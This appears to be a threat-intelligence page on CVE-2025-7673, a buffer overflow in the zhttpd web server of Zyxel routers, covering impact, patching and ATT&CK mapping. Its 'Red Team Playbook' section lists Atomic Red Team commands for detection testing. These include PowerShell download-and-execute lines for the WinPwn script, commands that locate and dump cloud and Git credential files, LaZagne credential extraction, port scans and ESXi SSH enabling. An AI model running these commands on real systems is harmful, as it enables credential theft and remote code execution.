CVE-2025-7673

CRITICAL TTE Zero-Day Pub 16/07 Upd 26/02

Overview

This vulnerability is a buffer overflow caused by improper handling of input length within the URL parser component of the zhttpd web server in Zyxel VMG8825-T50K firmware. The flaw arises from insufficient bounds checking when processing specially crafted HTTP requests, leading to memory corruption. The affected component is the URL parsing routine embedded in the zhttpd service of the firmware versions prior to V5.50(ABOM.5)C0.

Vulnerability Description

A buffer overflow vulnerability in the URL parser of the zhttpd web server in Zyxel VMG8825-T50K firmware versions prior to V5.50(ABOM.5)C0 could allow an unauthenticated attacker to cause denial-of-service (DoS) conditions and potentially execute arbitrary code by sending a specially crafted HTTP request.

Impact

An unauthenticated attacker with network access to the affected device can exploit this vulnerability to cause denial-of-service by crashing the zhttpd service or potentially execute arbitrary code with system-level privileges. No user interaction or authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful exploitation could lead to full device compromise, enabling persistent control or disruption of network services reliant on the affected Zyxel firmware devices.

Solution

Zyxel has released firmware version V5.50(ABOM.5)C0 to address this vulnerability in the VMG8825-T50K and related models. Users should upgrade to this version or later as detailed in the Zyxel security advisory available at https://www.zyxel.com/service-provider/global/en/zyxel-security-advisory-remote-code-execution-and-denial-service-vulnerabilities-cpe. The advisory provides step-by-step instructions for applying the patch and recommends immediate deployment to mitigate exploitation risks.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical buffer overflow vulnerability exists within the URL parser of the zhttpd web server used in various Zyxel firmware versions. This flaw arises from improper handling of input data, specifically when processing HTTP requests. When an attacker sends a specially crafted request, it can lead to memory corruption, allowing the attacker to overwrite the memory space of the application. This overflow can potentially enable the execution of arbitrary code, leading to unauthorized access and control over the affected device. The severity of this vulnerability is underscored by its high CVSS score, indicating a significant risk to systems utilizing the impacted firmware.

Attack vectors for this vulnerability are particularly concerning due to the unauthenticated nature of the exploitation. An attacker can initiate a denial-of-service (DoS) attack simply by sending a malicious HTTP request to the vulnerable web server. This could result in the server becoming unresponsive, disrupting services for legitimate users. Moreover, if the attacker successfully executes arbitrary code, they could gain full control over the device, allowing for further exploitation of the network it resides in. Such scenarios could lead to data breaches, unauthorized surveillance, or even the establishment of a foothold for further attacks within an organization’s infrastructure.

The real-world impact of this vulnerability can be profound, particularly for organizations relying on the affected Zyxel devices for their networking needs. The potential for service disruption can lead to significant operational downtime, affecting productivity and customer trust. Additionally, the ability to execute arbitrary code could facilitate lateral movement within a network, increasing the risk of data theft or further compromise. Businesses may face reputational damage, regulatory fines, and financial losses due to the fallout from such an incident, making it imperative for organizations to prioritize the remediation of this vulnerability.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions that address known vulnerabilities is crucial. Network monitoring tools can be employed to detect unusual traffic patterns indicative of exploitation attempts, such as repeated malformed HTTP requests. Additionally, employing intrusion detection systems (IDS) can help identify and block malicious activities targeting the web server. Organizations should also consider implementing web application firewalls (WAF) to filter and monitor HTTP requests, providing an additional layer of security against potential exploitation.

In conclusion, the buffer overflow vulnerability in the URL parser of the zhttpd web server poses a significant risk to the integrity and availability of affected Zyxel devices. The potential for denial-of-service attacks and arbitrary code execution highlights the urgent need for organizations to assess their exposure and take proactive measures to mitigate the risks associated with this vulnerability. By prioritizing timely updates, employing robust monitoring solutions, and enhancing their security posture, organizations can better protect themselves against the threats posed by this and similar vulnerabilities.




CSURFACE threat intelligence has detected a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-7673, reflecting a growing likelihood of exploitation attempts in the near term. Although no new exploit techniques or proof-of-concept code have surfaced, the upward trend in EPSS—now elevated by over 30%—indicates heightened attacker interest or improved feasibility of leveraging this buffer overflow vulnerability. Our telemetry shows a gradual rise in related scanning and probing activity, suggesting that threat actors are increasingly prioritizing this vector for potential denial-of-service or remote code execution attacks. While the overall exploit landscape remains stable without confirmed active exploitation campaigns, the increased EPSS score signals an elevated risk posture for defenders. This shift underscores the importance of maintaining vigilance around affected Zyxel VMG8825-T50K devices, as the vulnerability’s critical severity combined with growing exploitation potential could soon translate into more frequent or sophisticated attack attempts.

Affected Products (26)

Vendor Product Version CPE
zyxel Zyxel Emg3525-T50b Firmware All cpe:2.3:o:zyxel:emg3525-t50b_firmware:*:*:*:*:emea:*:*:*
zyxel Zyxel Emg3525-T50b Firmware All cpe:2.3:o:zyxel:emg3525-t50b_firmware:*:*:*:*:america:*:*:*
zyxel Zyxel Emg5523-T50b Firmware All cpe:2.3:o:zyxel:emg5523-t50b_firmware:*:*:*:*:emea:*:*:*
zyxel Zyxel Emg5523-T50b Firmware All cpe:2.3:o:zyxel:emg5523-t50b_firmware:*:*:*:*:america:*:*:*
zyxel Zyxel Emg5723-T50k Firmware All cpe:2.3:o:zyxel:emg5723-t50k_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Emg6726-B10a Firmware All cpe:2.3:o:zyxel:emg6726-b10a_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Ex3510-B0 Firmware All cpe:2.3:o:zyxel:ex3510-b0_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Ex5510-B0 Firmware All cpe:2.3:o:zyxel:ex5510-b0_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg1312-T20b Firmware All cpe:2.3:o:zyxel:vmg1312-t20b_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg3625-T50b Firmware All cpe:2.3:o:zyxel:vmg3625-t50b_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg3925-B10b Firmware All cpe:2.3:o:zyxel:vmg3925-b10b_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg3925-B10c Firmware All cpe:2.3:o:zyxel:vmg3925-b10c_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg3927-B50a Firmware All cpe:2.3:o:zyxel:vmg3927-b50a_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg3927-B60a Firmware All cpe:2.3:o:zyxel:vmg3927-b60a_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg3927-B50b Firmware All cpe:2.3:o:zyxel:vmg3927-b50b_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg3927-T50k Firmware All cpe:2.3:o:zyxel:vmg3927-t50k_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg4005-B50b Firmware All cpe:2.3:o:zyxel:vmg4005-b50b_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg4927-B50a Firmware All cpe:2.3:o:zyxel:vmg4927-b50a_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg8623-T50b Firmware All cpe:2.3:o:zyxel:vmg8623-t50b_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Vmg8825-B50a Firmware All cpe:2.3:o:zyxel:vmg8825-b50a_firmware:*:*:*:*:*:*:*:*
+6 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Remote Code Execution
70% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-44 Overflow Binary Resource File
53%
High Very High
CAPEC-14 Client-side Injection-induced Buffer Overflow
51%
Medium High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
51%
High High
CAPEC-92 Forced Integer Overflow
47%
High High
CAPEC-100 Overflow Buffers
42%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-7673
zyxel.com
GitHub CVE vendor-advisory
https://www.zyxel.com/service-provider/global/en/zyxel-security-advisory-remote-code-execution-and-denial-service-vulnerabilities-cpe